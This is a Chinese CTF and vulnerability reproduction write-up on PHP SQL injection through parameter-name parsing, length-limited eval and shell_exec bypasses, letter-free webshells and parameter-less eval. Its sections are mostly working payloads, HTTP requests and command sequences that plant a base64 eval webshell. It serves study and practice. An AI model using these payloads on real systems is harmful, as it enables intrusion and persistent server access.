一些漏洞和ctf复现

贷奇乐 SQL 注入

这个漏洞的详细原理: 点击跳转, leavesongs 大佬写的

原理是 HTTP 全局污染 + PHP 解析请求时如果参数包含 ., <SPACE>, [, 会 自动转换为 _ + PHP 处理相同参数或者 Header 时默认使用最后一个

什么是 HTTP 全局污染?

在编程中, 我们有全局变量的概念, 通常如果你访问一个服务器, 你的 HTTP 请求会被服务器的后端代码作为一个 HTTP Context 存储在代码中, 而这个 Context 其中一种做法就是做成全局变量, 比如下面的例子

static GLOBAL: i32 = 42;

fn main() {
    println!("{} is a global variable", GLOBAL_VAR);
}

所谓污染, 抽象点说就是两个进程或者线程在获取同一变量时获取到了不同的结果, 当然这是由于数据竞争导致的, 而我们现在要说的是类似的另一种情况: 两个程序对于 HTTP 请求的解析不一样, 这其中就包括相同参数取第一个还是最后一个等等

假设现在 url 传参: ?i_d=1&i.d=2, 在 PHP 中使用 $_REQUEST['i_d'] 获取到的值是 2, 因为 . 自动转换为了 _, 而 $_SERVER['REQUEST_URI'] 中存储的却是完整的 URI: /test.php?i_d=1&i.d=2

而贷奇乐的代码中, 就恰好, 过滤非法字符时使用的是: $_GET[], 而在执行 SQL 语句时使用的是: $_SERVER[]

这是几年前的漏洞了, 我感觉挺离谱的, 前面获取过一次 id 过滤完又重新获取一遍, 都挺离谱的, 也难怪这个系统千疮百孔

构造这个 payload 就可以实现 sql 注入了:

?submit=a&i_d=-1/**/union/**/select/**/1,2,3;&i.d=1

当然我这里用的代码以及数据库和上面链接中的不一样, 原理是一样的

RCE 突破长度限制

Q 1

<?php
$param = $_REQUEST['param'];
if (strlen($param) < 17
  && stripos($param, 'eval') === false
  && stripos($param, 'assert') === false) {
  eval($param);
}

对于这段代码过滤了 eval 和 assert 并且限制参数长度为 17, 要如何绕过呢

思路 1

根据 php 动态的特性, 在传参时定义变量

构造 payload:

?param=echo%20`$_GET[1]`;&1=whoami

成功执行:

Screenshot2024-08-11at22.11.38

思路 2

同样也是在传参时定义变量, 不过修改成了如下:

?param=$_GET[1](W,Y,8);&1=file_put_contents

将代码写入到一个文件中, 最终使用 include 包含进来

但是这个并不能直接执行命令, 直接将一句话木马 Base64 编码依次写入, 然后 include 包含

?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=W

Screenshot2024-08-11at22.40.20

思路 3

使用 usort() 函数

这个函数很短, 通过传入一个 callback, 为数组中的每个元素调用 callback

结合 php 5.6 以上支持的变长参数

你可能想构造这样的 payload:

?param=usort(...$_GET)&1[]=phpinfo();&2=assert&

但是这样不对, 因为 $_GET 肯定也会包含 param, 所以 param 的内容我们用 POST 来提交

请求体如下:

POST /test2.php?1[]=test&1[]=phpinfo();&2=assert HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 22

param=usort(...$_GET);

这里使用 hackbar 直接执行了

Screenshot2024-08-11at23.13.00

shell 长度突破

<?php
$param = $_REQUEST['param'];
if (strlen($param) < 8) {
  echo shell_exec($param);
}

执行系统命令, 但长度限制只有 8 位

现在 ls 等命令是可以执行的, 但是我们现在的目标是拿到 webshell

那么我们可能会用到下面的语句:

echo "<?php @eval($_REQUEST['cmd']);">w.php

但是这样就超出长度限制了

或者可能会想到在 linux 中用 >> 追加的方式, 但这样长度还是大于 8 了

思路 1

linux 中的 ls 命令, 可以使用 -t 参数以时间排序展示当前目录和文件

那么通过控制文件的创建顺序和文件名, 用 ls -t>1 将要执行的命令输出到文件 1 中, 在 sh 1 实现命令执行写入 webshell

上面的命令可以编码为:

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>w.php

可能首先会想到, 使用 mkdir p 这种方式来创建文件夹, 这里看似没有超出长度限制, 但实际上是有问题的, 因为 ls -t 输出的每个名字之间都有一个 0a 换行符, 如下:

Screenshot2024-08-11at23.34.03

所以我们需要用 \ 来转义掉这个换行符, 所以在使用 mkdir 时就需要 mkdir p\\, 明显超出限制了

那么还有没有更短的方式呢?

linux 中创建文件或文件夹有几种

  • touch
  • mkdir
  • vim
  • dd
  • >>
  • >

那么自然 > 就是最佳的选择

通过如下的操作将命令一次创建成文件, 注意要从末尾开始:

>hp
>w.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>1
sh 1

param 依次设置访问即可

思路 2

这个思路应该对应下面的代码, 是上面的升级版

<?php
$param = $_REQUEST['param'];
if (strlen($param) < 6) {
  echo shell_exec($param);
}

长度限制到小于等于 5 了, 也就是说我们没有办法直接使用 ls -t>1

这里很容易想到, 再构造一个 ls -t>1 就行了, 但关键是用什么构造呢

观察下面:

>l\\
>s\\
>\ \\
>\>0
>-t\\

执行完之后, ls 会发现 -t 和 >0 排在了最前面, 这是因为 ls 默认按照 ascii 码顺序

\  -t\ 1   >0  l\  s\

那么我们如果再追加一次呢?

继续执行下面命令:

ls>a
ls>>a

这时 a 文件就会变成:

 \
-t\
1
>0
a
l\
s\
 \
-t\
1
>0
a
l\
s\

中间就刚好有一个 ls -t>0

这样就成功构早出来了

思路 3

这次字符长度限制到 4

ls>>a 的长度为 5, 超出限制了

linux 中除了 ls 还可以使用 dir, 功能相似, 但 dir 输出的内容不换行, 且 d 字母排在前面

还有一个命令是 rev, 这个命令可以逆序文件每一行的内容

linux 中的 * 是一个通配符, 匹配所有

于是我们就可以通过构造 g>t- sl 然后利用 * 来使用 dir, 并将其结果反转 从而构造出想要的命令

这里最大的问题就是如何排序了, 因为 t 比 s 大, 需要一个比 s 小的字母, 所以我们使用 ht, h 可以增加输出的可读性不会影响最终结果

>dir
>sl
>g\>
>ht-

这里用 dir 的目的其实就是为了 * 能够执行 dir 命令, 因为 d 字母靠前会排在第一个

*>v
>rev
*v>x
  • *>v, * 匹配了所有, 于是变成了: dir sl g\\ ht- 变成了一条命令, 最终 dir 将参数内容写入了 v
  • *v>x, 刚刚创建了一个叫 rev 的文件, 这里 *v 就匹配上了 rev v

最终成功构造出 ls -ht>g

无字母 webshell

<?php
if (isset($_GET['code'])) {
  $code = $_GET['code'];
  if (strlen($code) > 35) {
    die("Long.");
  }
  if (preg_match("/[A-Za-z0-9_$]+/", $code)) {
    die("NO.");
  }
  eval($code);
} else {
  highlight_file(__FILE__);
}

这里过滤了所有字母

php 动态的特性肯定是可以绕过的

思路 1

在 php 中, 是可以直接对字符串进行位运算的

在 php7 中可以将变量当作函数, 比如:

$a = 'phpinfo';
$a();

所以我们也可以这样的形式来执行代码:

(~%8F%97%8F%96%91%99%90)();

构造出一个 phpinfo

Screenshot2024-08-12at00.54.50

除了 ~ 还可以用其他的位运算来构造字符

思路 2

php 中如果有 POST 提交文件, 就算 PHP 代码中没有处理上传文件的相关代码, 也会暂时保存在临时目录中, 在 php 文件执行完毕后删除

php 创建的这个文件很有特征, 默认在 /tmp 目录下, 文件名永远是 9 位, 并且最后一位可能是大写

那么我们就可以用 linux 的通配符来匹配, 下面的通配符就可以匹配到:

/???/????????[@-[]

那么我们就可以把恶意代码写到 POST 中, 直接执行匹配到的文件

那么这里要考虑的是用什么执行了, 因为我们上传的文件是没有 x 执行权限的

在 linux 中有三种方式:

  • .
  • sh
  • ./

区别就在于, 直接用 . xxx 不需要执行权限

那么我们就构造下面 HTTP 请求, 其中 '?><?=`. /???/????????[@-[]`?>':

POST /test6.php?code=?%3E%3C?=%60.%20/???/????????%5B@-%5B%5D%60?%3E HTTP/1.1
Host: localhost:8080
Content-Length: 186
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBIC5s7mqz8g7ojDA
Connection: close

------WebKitFormBoundaryBIC5s7mqz8g7ojDA
Content-Disposition: form-data; name="file"; filename="f.txt"
Content-Type: text/plain

whoami

------WebKitFormBoundaryBIC5s7mqz8g7ojDA--

要特别注意编码

Screenshot2024-08-12at01.30.50

无参数读文件

<?php
if (!isset($_GET['code'])) {
  exit();
}
if (';' === preg_replace('/\w+\((?R)?\)/', '', $_GET['code'])) {
  eval($_GET['code']);
} else {
  highlight_file(__FILE__);
}

上面的代码中有一个正则 /\w+\((?R)?\)/

这个正则值匹配下面的字符串:

a()
a(b())

也就是说, 你只能执行函数, 且不能在括号中写类似 a($name) 这样的参数

我们需要读取 flag 文件

思路 1

既然我们无法直接传参, 但可以以函数的返回值作为参数, 我们就可以通过函数返回值来构造我们想要的字符串

构造的方法很多, 主要考察对 php 的熟悉程度

思路 2

利用 php 动态语言且可以在 url 上定义变量的特性:

构造下面的 payload:

?p=phpinfo();&code=eval(pos(pos(get_defined_vars())));

get_defined_vars() 函数会返回一个数组, 其中是所有定义的变量, 实际上这里叫栈更合适, 因为他是按定义顺序存储的

Screenshot 2024-08-12 at 01.51.56